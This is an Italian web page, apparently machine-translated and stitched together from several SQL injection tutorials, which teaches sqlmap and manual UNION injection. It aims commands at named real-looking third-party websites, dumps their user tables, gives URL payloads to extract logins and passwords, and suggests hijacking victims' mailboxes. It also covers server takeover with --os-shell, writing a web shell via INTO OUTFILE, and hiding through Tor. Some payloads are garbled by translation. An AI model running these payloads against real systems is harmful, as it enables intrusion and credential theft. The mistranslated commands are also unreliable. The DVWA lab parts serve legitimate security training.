Riempimento della shell utilizzando sql injection. Riempi il guscio. Possibili problemi durante la scansione di sqlmap

Cos'è sqlmap e a cosa serve?

Il programma consente di controllare i siti per le vulnerabilità SQL injection, le vulnerabilità XSS e anche sfruttare l'SQL injection. Sono supportati vari tipi di SQL injection e una varietà di database.

Cosa puoi fare con sqlmap

Con sqlmap puoi:

  • controlla se i siti web presentano vulnerabilità

Se il sito è vulnerabile all'SQL injection, allora è possibile:

  • ricevere informazioni dal database, incluso il dump (l'intero) database
  • modificare ed eliminare informazioni dal database
  • caricare una shell (backdoor) su un server web

Uno degli scenari per l'utilizzo di sqlmap:

  • Ottenere nome utente e password dal database
  • Cerca i pannelli di amministrazione del sito (pannello di amministrazione)
  • Accedi al pannello di amministrazione con il login e la password ricevuti

Se esiste una vulnerabilità, l’attacco può svilupparsi in varie direzioni:

  • Modifica dei dati
  • Riempiendo la backdoor
  • Iniezione di codice JavaScript per ottenere i dati dell'utente
  • Implementazione del codice per l'hook su BeEF

Come possiamo vedere, l’SQL injection è una vulnerabilità molto pericolosa che offre grandi opportunità all’aggressore.

Controllo dei siti Web utilizzando sqlmap

Se il sito riceve dati dall'utente utilizzando il metodo GET (quando sia il nome della variabile che i dati trasmessi sono visibili nella barra degli indirizzi del browser), è necessario selezionare l'indirizzo della pagina in cui si trova questa variabile presente. Viene dopo il punto interrogativo ( ? ), Per esempio:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

Nel primo indirizzo, il nome della variabile è id e il valore trasmesso è 8 . Nel secondo indirizzo c'è anche il nome della variabile id e il valore trasmesso 22 . Nel terzo esempio, il nome della variabile è lo stesso, ma il valore passato lo è p_36. Lo stesso nome di variabile è una corrispondenza casuale per siti diversi, può essere qualsiasi cosa, i dati trasmessi possono essere qualsiasi cosa, possono esserci più variabili con valori separati da un simbolo & .

Se vogliamo verificare se la variabile id è vulnerabile all'SQL injection, dobbiamo inserire l'indirizzo completo: http://www.dwib.org/faq2.php?id=8 (non http://www.dwib .org /faq2.php o http://www.dwib.org).

Il comando per verificare una variabile passata dal metodo GET è molto semplice:

Sqlmap -u indirizzo_sito

Per questi siti i comandi saranno:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Durante il processo di verifica, sqlmap potrebbe porre varie domande alle quali è necessario rispondere (cioè Sì) o N(cioè no). La lettera y e n possono essere maiuscole o minuscole. La lettera maiuscola indica la scelta predefinita, se sei d'accordo, premi semplicemente Invio.

Esempi di situazioni e domande:

L'euristica ha rilevato che la destinazione è protetta da qualche tipo di WAF/IPS/IDS. Vuoi che sqlmap provi a rilevare il backend WAF/IPS/IDS?

L'euristica ha determinato che la destinazione è protetta da una sorta di WAF/IPS/IDS. Vuoi che sqlmap provi a determinare il nome di WAF/IPS/IDS?

La mia richiesta preferita:

Il test euristico (di base) mostra che il parametro GET "id" potrebbe essere iniettabile (possibile DBMS: "MySQL") test per l'iniezione SQL sul parametro GET "id" sembra che il DBMS back-end sia "MySQL". Vuoi saltare i payload di test specifici per altri DBMS?

Il punto è che le euristiche hanno stabilito che il parametro può essere vulnerabile e il DBMS remoto è già stato individuato, ci viene chiesto se vogliamo continuare la verifica. E nel secondo screenshot, anche il sito è vulnerabile a XSS.

Se vuoi automatizzare il processo in modo che sqlmap non te lo chieda ogni volta, ma utilizzi la selezione predefinita (ci sono sempre opzioni migliori), puoi eseguire il comando con l'opzione --lotto:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Possibili problemi durante la scansione di sqlmap

Potrebbero essere visualizzati i seguenti errori:

Timeout della connessione all'URL di destinazione. sqlmap riproverà le richieste se il problema persiste, controlla che l'URL di destinazione fornito sia valido. In tal caso, puoi provare a eseguire nuovamente con l'interruttore "--random-agent" attivato e/o gli interruttori proxy ("--ignore-proxy", "--proxy",...)

Significa che il sito web non vuole “parlare” con sqlmap. Come opzione ci viene offerto di utilizzare --agente casuale. Se è possibile visualizzare il sito nel browser, ma sqlmap scrive che è impossibile connettersi, il sito ignora le richieste, concentrandosi sullo user agent. L'opzione --random-agent modifica il valore standard di sqlmap in casuale:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Un altro motivo di questo errore potrebbe essere che il tuo IP è bloccato da un sito web, quindi devi utilizzare un proxy. Se stai già utilizzando un proxy e viene visualizzato questo errore, potrebbe significare che il proxy ha problemi di comunicazione e dovresti provare senza.

Risultati della scansione sqlmap

Le SQL injection rilevate vengono visualizzate come segue:

Quelli. sono evidenziati in grassetto verde, è scritto il nome del parametro vulnerabile, il tipo di vulnerabilità SQL ed è presente la parola iniettabile.

Ottenere un elenco di database con sqlmap

Per ottenere un elenco di database, utilizzare l'opzione --dbs. Esempi:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Recupero di informazioni da database

Ad esempio, per il sito wellerpools.com sono stati trovati due database:

[*] information_schema [*] main_wellerpools

Voglio conoscere l'elenco delle tabelle nel database main_wellerpools. Per fare ciò, utilizzare l'opzione --tabelle. Oltre a ciò, dobbiamo indicare la tabella che ci interessa dopo l'opzione -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

Elenco delle tabelle:

Per qualche motivo, voglio conoscere l'elenco delle colonne dalla tabella degli utenti. Per fare ciò, utilizzare l'opzione --colonne. Oltre a ciò, dobbiamo indicare il database che ci interessa ( MrGreen main_wellerpools) e dopo la chiave -T la tabella per la quale vogliamo vedere un elenco di colonne:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

Per visualizzare il contenuto, utilizzare l'opzione --scarico. Può essere specificato insieme al database, quindi verrà effettuato un dump dell'intero database oppure è possibile limitare i dati a una tabella o anche a una colonna. Con il seguente comando voglio vedere il contenuto dell'intera tabella utenti:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Dai un'occhiata alle password: dopo una rapida ispezione, ho pensato che fossero hash. Gli amministratori hanno davvero provato a difendersi, ma questo non li ha aiutati.

A proposito, poiché il parametro che accetta i dati inviati con il metodo GET è vulnerabile, puoi formulare una richiesta direttamente nella riga del browser in modo tale che il login e la password dell'utente vengano visualizzati direttamente sul sito stesso:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(nome_utente,0x3a,utente_pwd),3,4,5,6,7,8,9, 10+da+utenti--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+da+utenti--

Quelli. Abbiamo il nome utente, la password e l'e-mail degli utenti (e molto probabilmente anche degli amministratori) del sito. Se riesci a trovare il pannello amministrativo del sito, puoi ottenere il controllo del sito o del server web. Considerando l'amore degli utenti per le stesse password e conoscendo le loro caselle di posta, puoi provare ad hackerare la loro posta.

In generale, l'SQL injection è una vulnerabilità molto pericolosa.

SQL Injection è un tipo di attacco in cui un utente malintenzionato modifica la logica di query SQL di un'applicazione web, consentendogli di leggere/modificare/eliminare valori nel database e talvolta di eseguire codice arbitrario sul lato server. Questo articolo discuterà la popolare utility sqlmap per eseguire SQL injection.

Al momento, questo tipo di vulnerabilità è la più pericolosa possibile. Per 7 anni, la linea principale di "OWASP TOP-10" è stata guidata dalle iniezioni SQL.

Esistono 5 ragioni principali per questa vulnerabilità:

  1. Convalida insufficiente o assente dei parametri di input, in particolare dell'input dell'utente. “Qualsiasi parametro di input è malvagio”
  2. Accesso irragionevole e debolmente protetto ai database. Questa categoria comprende fattori quali: un gran numero di amministratori e superutenti (root), un sistema di autenticazione debole, un gran numero di diritti per gli amministratori secondari, ecc.
  3. Architettura. Utilizzo di tecnologie obsolete, mancanza di misure di controllo, abbandono della metodologia di “modellazione delle minacce”.
  4. Eredità di codice ovviamente vulnerabile, utilizzo di soluzioni già pronte con un basso livello di sicurezza.
  5. Mancanza di un adeguato livello di astrazione del codice eseguibile dai dati.

SQLMap.

Tipi di SQL injection.

Diamo un'occhiata ai tipi di SQL injection sfruttati dall'utility SQLMap:

  1. Blind SQL Injection basato su booleano
    • Un metodo in cui le richieste e le risposte HTTP vengono lette carattere per carattere per rilevare le vulnerabilità.
    • Una volta rilevato un parametro vulnerabile, SQLMap sostituisce o aggiunge istruzioni SQL sintatticamente corrette mentre attende che il server risponda eseguendo quel codice.
    • SQLMap confronta la richiesta valida originale con la risposta di una richiesta con codice dannoso incorporato.
    • SQLMap utilizza l'algoritmo di bisezione ( bisezionale algoritmo) per recuperare ciascun carattere della risposta utilizzando un massimo di sette richieste HTTP.
    • Laddove la risposta non viene fornita in puro testo, SQLMap adatta l'algoritmo con valori più grandi per determinare la risposta.
  2. Blind SQL injection basata sul tempo
    • Il metodo Time Based stesso presuppone che esista un confronto basato sui tempi di richiesta e di risposta inserendo un'istruzione SQL sintatticamente corretta nel parametro vulnerabile.
    • SQLMap utilizza istruzioni SQL che mettono in attesa il database per un periodo di tempo specificato.
    • Utilizzando lo stesso algoritmo bisezionale per restituire carattere per carattere, SQLMap confronta il tempo di risposta HTTP con la richiesta originale.
  3. Iniezione SQL basata su errori
    • SQLMap utilizza istruzioni SQL che possono causare la generazione di errori specifici.
    • L'utilità cerca errori nella risposta HTTP del server.
    • Questo metodo funziona solo se l'applicazione Web è configurata per rivelare messaggi di errore.
  4. Domanda UNIONE
    • Immettere l'istruzione SQL UNIONE TUTTI SELEZ .
    • L'iniezione SQL basata su query UNION funziona in base al comportamento dell'applicazione, ad es. quando un'applicazione passa il risultato di una query SELECT scritta attraverso un ciclo specifico o una riga di istruzioni che consente di scrivere l'output nel contenuto della pagina.
    • Nel caso in cui l'uscita non sia collegata ad alcun loop per o un'altra stringa di istruzioni, SQLMap utilizza l'inserimento di query UNION una tantum.
  5. Query in pila
    • Utilizzo delle query ripiegate. SQLMap aggiunge un punto e virgola (;) al valore del parametro interessato e aggiunge l'istruzione SQL che deve essere eseguito.
    • Utilizzando questa tecnica è possibile eseguire istruzioni SQL diverse da SELECT. Ciò è utile per manipolare i dati, ottenere l'accesso in lettura e scrittura e infine essere catturati dal sistema operativo.
  6. Fuori banda
    • Questo metodo utilizza un canale di comunicazione secondario o di altro tipo per restituire i risultati delle query eseguite sull'applicazione interessata.
    • Ad esempio, l'inserimento avviene in un'applicazione web e in un canale secondario come Interrogazioni DNS, viene utilizzato per inoltrare i dati al dominio dell'aggressore.

Utilizzo base di SQLMap.

Avvia l'utilità (deve essere nella variabileSENTIERO ):

$sqlmap

Oppure dalla directory dell'utilità:

$python sqlmap.py

Il tasto viene utilizzato per richiamare la documentazione «- H / — aiuto »:

$ sqlmap --help $ python sqlmap.py –help

Le azioni delle chiavi SQLMap dipendono completamente da ciò che esattamente l'aggressore vuole ottenere. L'elenco di base delle azioni SQLMap è simile al seguente:

  • Elenca le informazioni del database come nome, versione e altri dettagli.
  • Seleziona un database specifico per elencare le informazioni sulle tabelle in esso contenute.
  • Seleziona la tabella ed elenca le informazioni sulla colonna.
  • Seleziona una colonna ed elenca le righe per recuperarne i valori.
  • Ulteriore sfruttamento.

Pratica.

Per la nostra formazione pratica utilizzeremo Dannazione Vulnerabile ragnatela Applicazione (DVWA o “Applicazione web maledettamente vulnerabile”).

DVWA è un'applicazione web gratuita basata su tecnologie come PHP e MySQL, progettata per allenare le capacità di pentesting.

Ora ci interessano solo le iniezioni, ma in generale puoi mettere alla prova le tue abilità in altre vulnerabilità create in base a quelle ufficiali OWASP SUPERIORE -10 .

P.S.: Questa pratica presuppone che tu abbia la conoscenza delle basi di Linux, un livello iniziale di inglese e la capacità di utilizzare Google (se non hai le competenze sopra indicate).

Installazione:

  • Scarica l'applicazione e segui le istruzioni;
  • Cambia il livello di difficoltà in BASSO;
  • A noi interessano solo le schede “SQL Injection”;

Dati iniziali:

  • Server Web su una rete privata
  • URL vulnerabile: http:// tuo ospite . com /dvwa/vulnerabilities/sqli/?id=1&Submit=Invia#
  • Parametro vulnerabile: id

Quindi iniziamo:

  1. Confermiamo la disponibilitàSQL iniezioni:
./sqlmap.py --url=”http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee"

Spiegazione del comando:

— url – URL con il presunto parametro vulnerabile. È importante notare che la variabile per questa chiave è scritta tra virgolette, perché L'URL da controllare ha più di un parametro passato. Altrimenti puoi ignorare le virgolette e utilizzare la versione breve della chiave “- tu senza segno di uguale .

- cookie – Cookie di sessione per l'accesso diretto durante un attacco (chiave opzionale).

Conclusione:

Analisi:

  • L'applicazione è vulnerabile all'iniezione SQL
  • Tipo di iniezione: query UNION
  • Database back-end (DBMS) – MySQL5
  • Dettagli tecnici del sistema operativo: Linux Ubuntu 8.04, PHP 5.2.4, Apache 2.2.8
  1. Elenchiamo i nomi dei database:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" –dbs

Spiegazione del comando:

—dbs – chiave per elencare i database disponibili.

Conclusione:

Analisi: SQLMap ha elencato i database disponibili (7 in totale).

  1. Elenchiamo i nomi delle tabelle (DB -dvwa ):
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa –tables

Spiegazione del comando:

-D – Specificare il database a cui siamo interessati.

--tables – Elenca le tabelle disponibili nel database.

Conclusione:

Analisi: Come possiamo vedere, SQLMap ha elencato con successo i nomi di 2 tabelle nel database dvwa .

  1. Ulteriore elenco dei nomi delle colonne della tabella “utenti ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T utenti –colonne

Spiegazione del comando:

-T – Indicare la tabella che ci interessa.

—columns – Elenca le colonne disponibili nella tabella.

Conclusione:

Analisi: Come possiamo vedere, SQLMap ha elencato con successo i nomi di 6 colonne nella tabella utenti, bd dvwa .

  1. Elenchiamo/tiriamo i valori dalla tabella “utenti ”:
./sqlmap.py --url="http://192.168.152.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=e8495b455c5ef26c415ab480425135ee" -D dvwa -T utenti -C id_utente,utente,password --dump

Spiegazione del comando:

C – Indicare le colonne che ci interessano.

--dump – Scarica i valori dalle colonne elencate.

Conclusione:

Analisi: Sulla base della risposta di SQLMap, notiamo i seguenti punti:

  • SQLMap recupera i record dalle colonne specificate e quindi analizza i dati contenuti in tali colonne.
  • Una volta riconosciuti i dati come possibili hash delle password, SQLMap tenta di violare l'hash utilizzando vari algoritmi di hashing.
  • In questo caso, l'hash è MD5, quindi con la primissima tecnica di hash utilizzata dallo strumento, può crackare con successo gli hash e produrre una risposta ben formattata.
  • Inoltre, lo strumento salva le voci elencate in un formato di file “.csv” per un uso futuro; Quindi non è necessario scaricare i dati in un file di testo o fare uno screenshot, SQLMap se ne occuperà.
  1. Ulteriore sfruttamento e acquisizione del server (A.S.P. , non inclusoDVWA ):
./sqlmap.py --url="http://192.168.152.129/login.asp" --data="txtLoginID=shrikant&txtPassword=password&cmdSubmit=Login" --os-shell

Spiegazione del comando:

—data: specifica i parametri per il test inviati nella richiesta POST.

—os —shell – Chiave speciale per tentare di sfruttare la console del server tramite SQL injection.

Conclusione:

Analisi: Sulla base della risposta di SQLMap, notiamo i seguenti punti:

  • Dopo aver confermato e sfruttato l'SQL injection, SQLMap verifica se l'utente è un DBA (Data Base Administrator).
  • Lo strumento ha quindi provato a utilizzare una procedura memorizzata estesa: "xp_cmdshell", comunemente utilizzata da SQL Server 2000.
  • "xp_cmdshell" viene utilizzato per eseguire la riga di comando specificata come comando del sistema operativo. A sua volta, restituisce il risultato come testo standard.

Vantaggi derivanti dall'ottenimento di un livello più profondo di accesso al sistema:

  • Accesso alle credenziali dell'utente o agli hash delle password.
  • Una shell interattiva che ti permetterà di caricare o scaricare file dal server.
  • Esegui i comandi degli assi (OS) per esplorare la rete interna.
  • Possibilità di scaricare malware.
  • Ulteriore sfruttamento utilizzando Metasploit Framework.
  • Creazione e riempimento delle backdoor.

Best practice e utilizzo avanzato.

  1. SQLMap ESAPONE (Semplice Oggetto Accesso Protocollo ) richiede: Il processo di analisi delle richieste SOAP è abbastanza semplice:
    • Cattura la tua richiesta SOAP.
    • Salvandolo in un file di testo insieme ai possibili parametri vulnerabili.
    • Utilizza il comando seguente per SQLMap insieme all'opzione -p se conosci il parametro vulnerabile:
$ ./sqlmap.py -r So_request.txt -p
    • SQLMap analizzerà automaticamente la richiesta SOAP e tenterà di penetrare il parametro vulnerabile.
  1. SQLMap EJSON (JavaScript Oggetto Notazione ) richiede: In scenari simili per l'utilizzo di SQLMap per le query SOAP, è possibile analizzare e sfruttare anche le query JSON. Per un tipo di query JSON, SQLMap ti chiederà di sfruttare la vulnerabilità rilevando il tipo di query JSON nel "file di query". Una volta risposto sì, lo strumento analizzerà la richiesta e sceglierà il proprio vettore di attacco.
  2. SQLMap e server proxy: Le reti di tipo aziendale sono generalmente protette e monitorate utilizzando proxy controllati per tutto il traffico in entrata o in uscita. In questi casi, hai la possibilità di aggiungere un'opzione proxy direttamente all'opzione SQLMap per comunicare con l'URL di destinazione. Sebbene SQLMap sia uno strumento a riga di comando, comunica tramite il protocollo HTTP, quindi se imposti un proxy HTTP per la connessione Internet corrispondente, SQLMap lo prenderà come base:
$ ./sqlmap.py --proxy=http:// :
  1. SQLMap EWAF (ragnatela Applicazione Firewall ): WAF è un ulteriore livello di protezione per le applicazioni Web, che complica notevolmente l'analisi e il funzionamento utilizzando i metodi standard disponibili in SQLMap. A questo scopo esiste la funzione “tamper -script”, che semplifica notevolmente il lavoro con le applicazioni web che si trovano dietro un WAF.
  2. SQLMap e anonimato: Se desideri nascondere la tua identità e presentarti come anonimo per l'applicazione di destinazione, puoi utilizzare il server proxy TOR (The Onion Router). In SQLMap è possibile configurare il proxy TOR per nascondere la fonte da cui viene generato il traffico o la richiesta con le seguenti chiavi:
    • tor passaggio dell'utilità alla modalità proxy TOR.
    • tor tipo configurazione manuale del protocollo proxy TOR (HTTP /SOCKS 4/4a /5).
    • controllo tor verifica della funzionalità del proxy TOR

Saluti, lettore. Ultimamente mi sono interessato alla sicurezza Web e in una certa misura il mio lavoro è correlato a questo. Perché Sempre più spesso ho iniziato a notare argomenti su vari forum che chiedevano di mostrare come funziona il tutto, quindi ho deciso di scrivere un articolo. L'articolo sarà rivolto a coloro che non hanno riscontrato questo problema, ma vorrebbero imparare. Ci sono relativamente molti articoli su questo argomento su Internet, ma per i principianti sono un po' complicati. Cercherò di descrivere tutto con un linguaggio chiaro ed esempi dettagliati.

Prefazione

Per comprendere questo articolo non è necessaria la conoscenza del linguaggio SQL, ma almeno buona pazienza e un po’ di cervello per la memorizzazione.

Credo che la sola lettura dell'articolo non sarà sufficiente, perché... abbiamo bisogno di esempi viventi: come sai, la pratica nel processo di memorizzazione non è mai superflua. Pertanto, scriveremo script vulnerabili e ci addestreremo su di essi.

Cos'è l'iniezione SQL?
In termini semplici, si tratta di un attacco al database che consentirà di eseguire alcune azioni non pianificate dal creatore dello script. Esempio dalla vita:

Il padre scrisse in un biglietto a sua madre di dare a Vasya 100 rubli e di metterli sul tavolo. Rielaborandolo in un linguaggio SQL comico, otteniamo:
PRENDI 100 RUBLI DAL TUO PORTAFOGLIO E DALI A Vasya

Poiché il padre ha scritto male il biglietto (grafia goffa) e lo ha lasciato sul tavolo, il fratello di Vasya, Petya, lo ha visto. Petya, essendo un hacker, ha aggiunto "OR Pete" e il risultato è stato la seguente richiesta:
PRENDI 100 RUBLI DAL TUO PORTAFOGLIO E DALI A Vasya O Petya

La mamma, dopo aver letto il biglietto, ha deciso di aver dato dei soldi a Vasya ieri e di aver dato 100 rubli a Petya. Ecco un semplice esempio di SQL injection dalla vita reale:) Senza filtrare i dati (la mamma riusciva a malapena a capire la calligrafia), Petya ha ottenuto un profitto.

Preparazione
Per esercitarti, avrai bisogno di un archivio con gli script sorgente per questo articolo. Scaricatelo e scompattatelo sul server. Importa anche il database e imposta i dati nel file cfg.php

Cerca iniezione SQL

Come hai già capito, l'iniezione proviene da dati in ingresso che non vengono filtrati. L'errore più comune è non filtrare l'ID trasmesso. Bene, in parole povere, metti le virgolette in tutti i campi. Che si tratti di una richiesta GET/POST o anche di un cookie!

Parametro di input numerico
Per esercitarci abbiamo bisogno di uno script indice1.php. Come ho detto sopra, inseriamo le virgolette nell'ID news.

Perché La nostra richiesta non ha filtri:

$id = $_GET["id"]; $query = "SELECT * FROM notizie WHERE id=$id";

Lo script lo capirà come

SELEZIONA * DA notizie DOVE id=1"

E ci darà un errore:
Avvertenza: mysql_fetch_array() prevede che il parametro 1 sia una risorsa, valore booleano fornito in C:\WebServ\domains\sqlinj\index1.php alla riga 16

Se l'errore non viene visualizzato, i motivi potrebbero essere i seguenti:

1.SQL injection non è qui: le virgolette vengono filtrate o vale semplicemente la pena convertirle (int)
2. L'output degli errori è disabilitato.

Se ricevi ancora un errore: Evviva! Abbiamo trovato il primo tipo di SQL injection: parametro di input numerico.

Parametro di input della stringa

Invieremo le richieste a indice2.php. In questo file, la richiesta è simile a:
$utente = $_GET["utente"]; $query = "SELECT * FROM notizie WHERE utente="$utente"";

Qui selezioniamo le notizie per nome utente e, ancora una volta, non filtriamo.
Anche in questo caso inviamo una richiesta con un preventivo:

Ha dato un errore. OK! Ciò significa che esiste una vulnerabilità. Per cominciare, per noi è abbastanza: passiamo alla pratica.

Agiamo

Una piccola teoria

Probabilmente non vedi l’ora di ottenere qualcosa da questo oltre agli errori. Innanzitutto, comprendi che il segno " -- " è considerato un commento in SQL.

ATTENZIONE! Ci devono essere degli spazi prima e dopo. Nell'URL vengono trasmessi come %20

Tutto ciò che segue il commento verrà scartato, ovvero la richiesta:
SELEZIONA * DA notizie DOVE user="AlexanderPHP" -- habrahabra

Ci riuscirà. Puoi provarlo sullo script index2.php inviando una richiesta come questa:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Impara il parametro UNIONE. Nel linguaggio SQL la parola chiave UNIONE utilizzato per combinare i risultati di due query SQL in un'unica tabella. Cioè, per tirare fuori qualcosa di cui abbiamo bisogno da un altro tavolo.

Approfittiamone

Se il parametro è “Numerico”, non è necessario inviare un preventivo nella richiesta e naturalmente inserire un commento alla fine. Torniamo alla sceneggiatura indice1.php.

Passiamo allo script sqlinj/index1.php?id=1 UNION SELECT 1 . La nostra query sul database è simile alla seguente:
SELECT * FROM news WHERE id=1 UNION SELECT 1
E ci ha dato un errore, perché... per lavorare con l'unione delle query, abbiamo bisogno dello stesso numero di campi.

Perché Non possiamo influenzare il loro numero nella prima richiesta, quindi dobbiamo selezionare il loro numero nella seconda in modo che sia uguale alla prima.

Selezione del numero di campi

La selezione dei campi è molto semplice, basta inviare le seguenti richieste:
sqlinj/index1.php?id=1 SELEZIONE UNIONE 1,2
Errore…
sqlinj/index1.php?id=1 SELEZIONE UNIONE 1,2,3
Errore ancora!
sqlinj/index1.php?id=1 SELEZIONE UNIONE 1,2,3,4,5
Nessun errore! Ciò significa che il numero di colonne è 5.

RAGGRUPPA PER
Accade spesso che possano esserci 20 o 40 o anche 60 campi in modo da non doverli ordinare ogni volta che utilizziamo RAGGRUPPA PER

Se la richiesta
sqlinj/index1.php?id=1 GRUPPO PER 2
non ha mostrato alcun errore, il che significa che il numero di campi è superiore a 2. Proviamo:

Sqlinj/index1.php?id=1 GRUPPO PER 8
Op, vediamo un errore, significa che il numero di campi è inferiore a 8.

Se non si verifica alcun errore con GRUPPO BY 4 e si verifica un errore con GRUPPO BY 6, il numero di campi è 5

Definizione delle colonne di output
Per far sì che non ci venga visualizzato nulla fin dalla prima richiesta, è sufficiente sostituire un ID inesistente, ad esempio:

Sqlinj/index1.php?id=-1 SELEZIONE UNIONE 1,2,3,4,5

Con questa azione, abbiamo determinato quali colonne verranno visualizzate nella pagina. Adesso, per poter sostituire questi numeri con le informazioni necessarie, è necessario proseguire la richiesta.

Uscita dati

Diciamo che sappiamo che il tavolo esiste ancora utenti in cui esistono i campi id, nome E passaggio.
Dobbiamo ottenere informazioni sull'utente con ID=1

Costruiamo quindi la seguente query:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM utenti WHERE id=1
Anche lo script continua ad essere visualizzato

Per fare ciò, sostituiremo i nomi dei campi al posto dei numeri 1 e 3

Sqlinj/index1.php?id=-1 UNION SELECT nome,2,pass,4,5 FROM utenti WHERE id=1
Abbiamo ottenuto ciò di cui avevamo bisogno!

Per "parametro di input stringa" come nello script indice2.phpè necessario aggiungere una virgoletta all'inizio e un commento alla fine. Esempio:
sqlinj/index2.php?user=-1" UNION SELECT nome,2,pass,4,5 FROM utenti WHERE id=1 --%20

Leggere/scrivere file

Per leggere e scrivere file, l'utente del database deve disporre dei diritti FILE_PRIV.
Registrazione di file
In realtà, tutto è molto semplice. Per scrivere un file utilizzeremo la funzione PROFILO.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Ottimo, il file è stato registrato presso di noi. Quindi, possiamo riempire la mini-shell:
sqlinj/index2.php?user=-1" SELEZIONE UNIONE 1,"",3,4,5 NEL OUTFILE "1.php" --%20
Lettura di file
Leggere i file è ancora più semplice che scrivere. È sufficiente utilizzare semplicemente la funzione CARICA_FILE, per la posizione del campo che selezioniamo:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Pertanto, abbiamo letto il file scritto precedente.

Metodi di protezione

Proteggersi è ancora più semplice che sfruttare una vulnerabilità. Basta filtrare i dati. Se stai passando i numeri, usa
$id = (int) $_GET["id"];
Come suggerito dall'utente malroc. Proteggiti utilizzando PDO o dichiarazioni preparate.

Invece del completamento

Qui è dove voglio finire la mia prima parte su “SQL injection per principianti”. Nella seconda vedremo esempi più gravi di iniezioni. Prova a scrivere script vulnerabili ed eseguire tu stesso le query.
E ricorda, non fidarti di nessun utente del tuo sito.

L'SQL injection è un attacco che sfrutta le istruzioni SQL dinamiche commentando alcune parti delle istruzioni o aggiungendo una condizione che sarà sempre vera. Prende di mira i buchi nell'architettura delle applicazioni web e utilizza istruzioni SQL per eseguire codice SQL dannoso:

In questo articolo esamineremo le tecniche utilizzate nelle SQL injection e come proteggere le applicazioni web da tali attacchi.

Come funziona l'iniezione SQL

I tipi di attacchi che possono essere sferrati utilizzando SQL injection variano in base al tipo di motori di database interessati. L'attacco prende di mira le istruzioni SQL dinamiche. Un'istruzione dinamica è un'istruzione creata in fase di esecuzione in base ai parametri di un modulo Web o di una stringa di query URI.

Considera una semplice applicazione web con un modulo di accesso. Il codice del modulo HTML è riportato di seguito:

  • Il modulo accetta un indirizzo email e quindi la password viene inviata a un file PHP chiamato index.php;
  • La sessione viene memorizzata in un cookie. Questa funzione è abilitata controllando il flag Remember_me. Il metodo post viene utilizzato per inviare dati. Ciò significa che i valori non vengono visualizzati nell'URL.

Supponiamo che la richiesta di controllo dell'ID utente sul lato server sia simile alla seguente:

  • La richiesta utilizza direttamente i valori dell'array $_POST senza disinfettarlo;
  • La password viene crittografata utilizzando l'algoritmo MD5.

Esamineremo un attacco utilizzando SQL injection sqlfiddle. Apri l'URL http://sqlfiddle.com/ nel tuo browser. Sullo schermo apparirà la seguente finestra.

Nota: dovrai scrivere istruzioni SQL:

Passaggio 1: inserisci questo codice nel pannello di sinistra:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); inserire negli utenti (email,password) i valori(" [e-mail protetta]",md5("abc"));

Passaggio 2: fare clic sul pulsante Costruisci schema».
Passaggio 3: inserisci il codice seguente nel riquadro di destra:

seleziona *dagli utenti;

Passaggio 4: fare clic su " Esegui SQL" Vedrai il seguente risultato:

Supponiamo che l'utente fornisca un indirizzo email [e-mail protetta] e 1234 come password. La query che deve essere eseguita sul database potrebbe assomigliare a questa:

L'esempio di codice SQL injection riportato sopra può essere aggirato commentando parte della password e aggiungendo una condizione che sarà sempre vera. Supponiamo che un utente malintenzionato inserisca i seguenti dati nel campo dell'indirizzo email:

[e-mail protetta]" O 1 = 1 LIMITE 1 -- " ]

e xxx nel campo della password.

L'istruzione dinamica generata sarà simile alla seguente:

  • [e-mail protetta] termina con una virgoletta singola, che termina la stringa;
  • OR 1 = 1 LIMIT 1 è una condizione che sarà sempre vera e limita i risultati restituiti a un solo record.

0; ‘ AND ... è un commento SQL che esclude la parte della password.

Copia la query precedente e incollala nella casella di testo SQL FiddleRun come mostrato di seguito:

Attività degli hacker: iniezioni SQL nelle applicazioni web

Abbiamo una semplice applicazione web disponibile all'indirizzo http://www.techpanda.org/ che è stata appositamente resa vulnerabile agli attacchi SQL injection per i principianti a scopo dimostrativo. Il codice del modulo HTML sopra indicato è preso dalla pagina di autorizzazione di questa applicazione.

Fornisce sicurezza di base come la sanificazione del campo e-mail. Ciò significa che il codice precedente non può essere utilizzato per aggirare questo meccanismo.

Per aggirare questo problema, puoi utilizzare un campo password. Lo schema seguente mostra i passaggi che è necessario seguire:

Supponiamo che l'aggressore fornisca i seguenti dati:

